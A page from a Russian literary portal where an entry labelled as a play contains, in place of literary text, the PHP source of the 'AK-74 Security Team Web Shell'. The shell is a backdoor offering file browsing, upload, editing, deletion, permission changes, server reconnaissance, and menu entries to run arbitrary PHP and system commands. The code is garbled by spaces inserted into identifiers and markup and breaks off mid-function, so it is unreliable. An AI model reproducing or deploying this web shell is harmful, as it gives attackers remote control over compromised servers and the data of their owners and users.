Приглашаем авторов принять участие в поэтическом Турнире Хит-19. Баннер Турнира см. в левой колонке. Ознакомьтесь с «Приглашением на Турнир...». Ждём всех желающих!
Поэтический турнир «Хит сезона» имени Татьяны Куниловой
Приглашение/Информация/Внеконкурсные работы
Произведения турнира
Поле Феникса
Положение о турнире











Главная    Новости и объявления    Круглый стол    Лента рецензий    Ленты форумов    Обзоры и итоги конкурсов    Диалоги, дискуссии, обсуждения    Презентации книг    Cправочник писателей    Наши писатели: информация к размышлению    Избранные произведения    Литобъединения и союзы писателей    Литературные салоны, гостинные, студии, кафе    Kонкурсы и премии    Проекты критики    Новости Литературной сети    Журналы    Издательские проекты    Издать книгу   
Мнение... Критические суждения об одном произведении
Андрей Мизиряев
Ты слышишь...
Читаем и обсуждаем
Буфет. Истории
за нашим столом
В ожидании зимы
Лучшие рассказчики
в нашем Буфете
Ольга Рогинская
Тополь
Мирмович Евгений
ВОСКРЕШЕНИЕ ЛАЗАРЕВА
Юлия Клейман
Женское счастье
Английский Клуб
Положение о Клубе
Зал Прозы
Зал Поэзии
Английская дуэль
Вход для авторов
Логин:
Пароль:
Запомнить меня
Забыли пароль?
Сделать стартовой
Добавить в избранное
Наши авторы
Знакомьтесь: нашего полку прибыло!
Первые шаги на портале
Правила портала
Размышления
о литературном труде
Новости и объявления
Блиц-конкурсы
Тема недели
Диалоги, дискуссии, обсуждения
С днем рождения!
Клуб мудрецов
Наши Бенефисы
Книга предложений
Писатели России
Центральный ФО
Москва и область
Рязанская область
Липецкая область
Тамбовская область
Белгородская область
Курская область
Ивановская область
Ярославская область
Калужская область
Воронежская область
Костромская область
Тверская область
Оровская область
Смоленская область
Тульская область
Северо-Западный ФО
Санкт-Петербург и Ленинградская область
Мурманская область
Архангельская область
Калининградская область
Республика Карелия
Вологодская область
Псковская область
Новгородская область
Приволжский ФО
Cаратовская область
Cамарская область
Республика Мордовия
Республика Татарстан
Республика Удмуртия
Нижегородская область
Ульяновская область
Республика Башкирия
Пермский Край
Оренбурская область
Южный ФО
Ростовская область
Краснодарский край
Волгоградская область
Республика Адыгея
Астраханская область
Город Севастополь
Республика Крым
Донецкая народная республика
Луганская народная республика
Северо-Кавказский ФО
Северная Осетия Алания
Республика Дагестан
Ставропольский край
Уральский ФО
Cвердловская область
Тюменская область
Челябинская область
Курганская область
Сибирский ФО
Республика Алтай
Алтайcкий край
Республика Хакассия
Красноярский край
Омская область
Кемеровская область
Иркутская область
Новосибирская область
Томская область
Дальневосточный ФО
Магаданская область
Приморский край
Cахалинская область
Писатели Зарубежья
Писатели Украины
Писатели Белоруссии
Писатели Азербайджана
Писатели Казахстана
Писатели Узбекистана
Писатели Германии
Писатели Франции
Писатели Болгарии
Писатели Испании
Писатели Литвы
Писатели Латвии
Писатели Эстонии
Писатели Финляндии
Писатели Израиля
Писатели США
Писатели Канады
Положение о баллах как условных расчетных единицах
Реклама

логотип оплаты
Визуальные новеллы
.
Произведение
Жанр: ПьесыАвтор: Тагаев Александр Николаевич
Объем: 13001 [ символов ]
XXX
<?
/*
 
.:: :[AK-74 Security Team Web Shell Beta Version]: ::.
 
- AK-74 Security Team Web Site:
- Released on 01 June 2006.
- Copyright AK-74 Security Team, 2006.
- Thank you for using our script.
 
*/
 
error_reporting(0);
@set_time_limit(0);
 
session_start();
$xshell = $SERVER_['PHP_SELF'];
class shell
{
 
function getfiles()
{
$mas = array();
$i = 0;
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($file = readdir($handle)))
if ($file != '..')
if (!is_dir($_SESSION['currentdir'].'/'.$file) )
{
$mas[$i]['filename'] = $file;
$mas[$i]['filesize'] = filesize($_SESSION['currentdir'].'/'.$file) ;
$mas[$i]['lastmod'] = date("H.i/d.m.Y", filemtime($_SESSION['currentdir'].'/'.$file ));
$i++;
}
closedir($handle);
}
return $mas;
}
 
function getdirs()
{
$mas = array();
if ($handle = opendir($_SESSION['currentdir']))
{
while (false !== ($dir = readdir($handle)))
if ($dir != '.' && is_dir($_SESSION['currentdir'].'/'.$dir))
$mas[] = $dir;
closedir($handle);
}
return $mas;
}
 
function geturl()
{
if ($_SESSION['currentdir'].'/' == $_SERVER['DOCUMENT_ROOT'])
return '/';
if (strpos($_SESSION['currentdir'],str_replace ('','/',$_SERVER['DOCUMENT_ROOT'])) === false)
return '';
return str_replace($_SERVER['DOCUMENT_ROOT'],'',$_ SESSION['currentdir'].'/');
}
 
function removefile()
{
if (file_exists($_GET['file']))
{
chmod($_GET['file'],0777);
if (unlink($_GET['file']))
return 'Файл удален!';
else
return 'Файл удален!';
}
else
return 'Файл не найден!';
}
 
function removedir()
{
chmod($_GET['dir'],0777);
if (rmdir($_GET['dir']))
return 'Директория удалена!';
else
return 'Директория не найденa!';
}
 
function getmicrotime()
{
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}
 
function getpermission($path)
{
 
$perms = fileperms($path);
 
if (($perms & 0xC000) == 0xC000)
$info = 's';
elseif (($perms & 0xA000) == 0xA000)
$info = 'l';
elseif (($perms & 0x8000) == 0x8000)
$info = '-';
elseif (($perms & 0x6000) == 0x6000)
$info = 'b';
elseif (($perms & 0x4000) == 0x4000)
$info = 'd';
elseif (($perms & 0x2000) == 0x2000)
$info = 'c';
elseif (($perms & 0x1000) == 0x1000)
$info = 'p';
else
$info = 'u';
 
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
 
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
 
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
 
return $info;
}
 
function getpermissionarray($path)
{
$res = array();
$perms = fileperms($path);
 
if (($perms & 0xC000) == 0xC000)
$res[] = 's';
elseif (($perms & 0xA000) == 0xA000)
$res[] = 'l';
elseif (($perms & 0x8000) == 0x8000)
$res[] = '-';
elseif (($perms & 0x6000) == 0x6000)
$res[] = 'b';
elseif (($perms & 0x4000) == 0x4000)
$res[] = 'd';
elseif (($perms & 0x2000) == 0x2000)
$res[] = 'c';
elseif (($perms & 0x1000) == 0x1000)
$res[] = 'p';
else
$res[] = 'u';
 
$res[] = (($perms & 0x0100) ? 'r' : '-');
$res[] = (($perms & 0x0080) ? 'w' : '-');
$res[] = (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
 
$res[] = (($perms & 0x0020) ? 'r' : '-');
$res[] = (($perms & 0x0010) ? 'w' : '-');
$res[] = (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
 
$res[] = (($perms & 0x0004) ? 'r' : '-');
$res[] = (($perms & 0x0002) ? 'w' : '-');
$res[] = (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
 
return $res;
}
 
function outputhead()
{
$res = '';
$res .= '<html><head><title>AK-74 Security Team Web Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"></head>
<body>
<STYLE>
A:link {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:active {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:visited {
COLOR: #4d6d91; TEXT-DECORATION: underline
}
A:hover {
COLOR: #C10000; TEXT-DECORATION: underline
}
TD {
FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica
}
BODY {
FONT-SIZE: 10pt; FONT-FAMILY: verdana,arial,helvetica; SCROLLBAR-FACE-COLOR: #cccccc; SCROLLBAR-HIGHLIGHT-COLOR: #c10000; SCROLLBAR-SHADOW-COLOR: #c10000; SCROLLBAR-3DLIGHT-COLOR: #830000; SCROLLBAR-ARROW-COLOR: #c10000; SCROLLBAR-TRACK-COLOR: #eeeeee; FONT-FAMILY: verdana; SCROLLBAR-DARKSHADOW-COLOR: #830000; BACKGROUND-COLOR: #dcdcdc;
}
</STYLE>
<div align="center"><table border=1 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">
<tr>
<td colspan=7 align="center">
<b><font color=#830000 size=4>.:: :[ AK-74 Security Team Web-shell ]: ::.</font></b>
</td>
</tr>';
return $res;
}
 
function outputmenu()
{
$res = '';
$res .= '<tr>
<td colspan=7 align="center">
<table border=0 cellspacing=0 cellpadding=0>
<tr align="center">
<td width=150>
<a href="'.$xshell.'?act=info">Общая информация</a>
</td>
<td width=150>
<a href="'.$xshell.'?act=filemanager">Файловый менеджер</a>
</td>
<td width=80>
<a href="'.$xshell.'?act=phpinfo" target="_blank">phpinfo()</a>
</td>
<td width=110>
<a href="'.$xshell.'?act=execute">Выполнить PHP</a>
</td>
<td width=150>
<a href="'.$xshell.'?act=exesys">Выполнить команду</a>
</td>
</tr>
</table>
</td>
</tr>';
return $res;
}
 
function outputdown()
{
$res = '';
$res .= '</table></div></body></html>';
return $res;
}
 
function outputfilemanager()
{
$res = '';
$number = 0;
$dirs = $this->getdirs();
$files = $this->getfiles();
sort($dirs);
sort($files);
 
$res .= '
<tr>
<td colspan=7 align="center">
<font color=#830000> Текущая директория:</font><b><font color=#830000>'.$_SESSION['currentdir'].'</ font></b>
</td>
</tr>
<tr align="center">
<td width=30>
 
</td>
<td width=330>
 
</td>
<td width=80><font color=#830000>Размер,</font> <b><font color=#830000>байт</font></b>
 
</td>
<td width=120><font color=#830000>
Последнее изменение
</font>
</td>
<td width=80 align="center"><font color=#830000>Права доступа</font>
 
</td>
<td width=30>
 
</td>
<td width=30>
 
</td>
</tr>';
 
for ($i = 0; $i < count($dirs); $i++)
{
$res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></t d><td><b><a href="'.$xshell.'?act=filemanager&dir='.$di rs[$i].'">'.$dirs[$i].'</a></b></td><td> &l t;/ td><td> </td><td>';
$res .= '<a href="'.$xshell.'?act=chmod&file='.$_SESSIO N['currentdir'].'/'.$dirs[$i].'">'.($this-> getpermission($_SESSION['currentdir'].'/'.$ dirs[$i])).'</a>';
$res .= '</td><td> </td><td><a href="'.$xshell.'?act=filemanager&act3=del& dir='.$_SESSION['currentdir'].'/'.$dirs[$i] .'">delete</a></td></tr>';
}
for ($i = 0; $i < count($files); $i++)
{
$res .= '<tr><td><b><font color=#830000>'.(++$number).'</font></b></t d>';
$res .= '<td><a href="'.$xshell.'?act=down&file='.$_SESSION ['currentdir'].'/'.$files[$i]['filename'].' ">'.$files[$i]['filename'].'</a></td>';
$res .= '<td>  '.$files[$i]['filesize'].'</td>';
$res .= '<td align="center">'.$files[$i]['lastmod'].'</t d>';
$res .= '<td align="center"><a href="'.$xshell.'?act=chmod&file='.$_SESSIO N['currentdir'].'/'.$files[$i]['filename']. '">'.($this->getpermission($_SESSION['curre ntdir'].'/'.$files[$i]['filename'])).'</a>< /td>';
$res .= '<td align="center"><a href="'.$xshell.'?act=edit&file='.$_SESSION ['currentdir'].'/'.$files[$i]['filename'].' ">edit</a></td>';
$res .= '<td align="center"><a href="'.$xshell.'?act=filemanager&act2=del& file='.$_SESSION['currentdir'].'/'.$files[$ i]['filename'].'">delete</a></td></tr>';
}
$res .= '</table><br>';
 
$res .= '<table border=0 bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 2px solid">';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="mkdir"><b><font color=#830000>Создать директорию:</b></font> </td><td><input type="text" name="dircreate"><input type="submit" value="Создать"></form></td></tr>';
$res .= '<tr><td align=center><form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="createfile"><b><font color=#830000>Создать файл:</b></font></td><td> <input type="text" name="filecreate"><input type="submit" value="Создать"></form></td></tr>';
$res .= '<tr><td align=center><form enctype="multipart/form-data" action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="uploadfile"><b><font color=#830000>Закачать файл:</font></b></td><td><input type="file" name="filename" size="23"> <b><font color=#830000>и присвоить имя</b></font></td><td> <input type="text" name="filename2"><input type="submit" value="Вперёд"></form></td></tr>';
$res .= '<table border=0 width="700" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">';
$res .= '<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net"; target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
return $res;
}
 
function outputinfo()
{
$res = '';
$res .= '<tr>
<td align="center" colspan=7>
<b><font color=#83000>Общая информация о сервере</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="left"><br>
<ol>
<b><font color=#830000>1. OS - </font></b><font color=#830000>'.(php_uname()).'</font><br>< br>
<b><font color=#830000>2. Версия PHP - </font></b><font color=#830000>'.(phpversion()).'</font><br> <br>
<b><font color=#830000>3.</font></b><font color=#830000> <b><font color=#830000>User</b></font> - '.( get_current_user()).' <b><font color=#830000>|| User ID</font></b> - '.( getmyuid()).' <b><font color=#830000>|| Group ID</b></font> - '.( getmygid ()).'</font><br><br>
<b><font color=#830000>4. Server Software - </font></b><font color=#830000>'.(getenv('SERVER_SOFTWARE')) .'</font><br><br>
<b><font color=#830000>5. Request Method - </font></b><font color=#830000>'.(getenv('REQUEST_METHOD')). '</font><br><br>
<b><font color=#830000>6. Server IP - </font></b><font color=#830000>'.(getenv('SERVER_ADDR')).'</ font><br><br>
<b><font color=#830000>7. Your IP - </font></b><font color=#830000>'.(getenv('REMOTE_ADDR')).'</ font><br><br>
<b><font color=#830000>8. X Forwarded For IP - </font></b><font color=#830000>'.(getenv('HTTP_X_FORWARDED_F OR')).'</font><br><br>
</td>
</tr>
<table border=0 width="555" bgcolor=#eeeeee cellspacing=0 cellpadding=3 style="border: #C10000 1px solid">
<tr><td align=center><b><font color=#83000>Copyright </font><a href="http://ak74-team.net"; target="_blank">AK-74 Security Team<a> <font color=#83000>2005 - '.date("Y").'</font></b></td></tr>';
 
return $res;
}
 
function chmodform($file)
{
$perms = $this->getpermissionarray($file);
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="chmod">'
.'<input type="hidden" name="file" value="'.$file.'">
<tr>
<td align="center" colspan=7>
<b><font color=#83000>Изменение прав доступа</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="center">
<table border=1 cellspacing=0 cellpadding=0>';
$res .= '<tr align="center"><td> </td><td>r</td><td>w</t d><td>x</td><td>r</td><td>w</td><td>x</td& gt;< td>r</td><td>w</td><td>x</td></tr>';
$res .= '<tr><td><input type="hidden" name="perms0" value="'.$perms[0].'">'.$perms[0].'</td>';
for ($i = 1; $i <= 9; $i++)
$res .= '<td><input type="checkbox" name="perms'.$i.'"'.(($perms[$i] != '-') ? ' checked' : '' ).'></td>';
$res .= '</tr><tr><td colspan=10 align="right"><input type="submit" value="Сохранить"></td></tr>';
$res .= '</table></td></tr></form>';
return $res;
}
 
function editfileform($file)
{
$fp = fopen($file,'r');
if (!$fp)
return 'Редактирование файла';
$res = '';
$res .= '<form action="'.$xshell.'?act=filemanager" method="post"><input type="hidden" name="action" value="editfile">'
.'<input type="hidden" name="file" value="'.$file.'"><tr>
<td align="center" colspan=7>
<b><font color=#83000>Редактирование файла</font></b>
</td>
</tr>
<tr>
<td colspan=7 align="center">
<table border=1 cellspacing=0 cellpadding=0>';
$res .= '<tr><td><textarea rows=25 cols=100 name="filecontent">'.(htmlspecialchars(frea d($fp, filesize($file)))).'
Дата публикации: 24.06.2013 21:29
Предыдущее: Абсолютная Тотальность

Зарегистрируйтесь, чтобы оставить рецензию или проголосовать.
Наши новые авторы
Лил Алтер
Ночное
Наши новые авторы
Людмила Логинова
иногда получается думать когда гуляю
Наши новые авторы
Людмила Калягина
И приходит слово...
Литературный конкурс юмора и сатиры "Юмор в тарелке"
Положение о конкурсе
Литературный конкурс памяти Марии Гринберг
Презентации книг наших авторов
Максим Сергеевич Сафиулин.
"Лучшие строки и песни мои впереди!"
Нефрит
Ближе тебя - нет
Андрей Парошин
По следам гепарда
Предложение о написании книги рассказов о Приключениях кота Рыжика.
Наши эксперты -
судьи Литературных
конкурсов
Татьяна Ярцева
Галина Рыбина
Надежда Рассохина
Алла Райц
Людмила Рогочая
Галина Пиастро
Вячеслав Дворников
Николай Кузнецов
Виктория Соловьёва
Людмила Царюк (Семёнова)
Павел Мухин
Устав, Положения, документы для приема
Билеты МСП
Форум для членов МСП
Состав МСП
"Новый Современник"
Планета Рать
Региональные отделения МСП
"Новый Современник"
Литературные объединения МСП
"Новый Современник"
Льготы для членов МСП
"Новый Современник"
Реквизиты и способы оплаты по МСП, издательству и порталу
Организация конкурсов и рейтинги
Шапочка Мастера
Литературное объединение
«Стол юмора и сатиры»
'
Общие помышления о застольях
Первая тема застолья с бравым солдатом Швейком:как Макрон огорчил Зеленского
Комплименты для участников застолий
Cпециальные предложения
от Кабачка "12 стульев"
Литературные объединения
Литературные организации и проекты по регионам России

Шапочка Мастера


Как стать автором книги всего за 100 слов
Положение о проекте
Общий форум проекта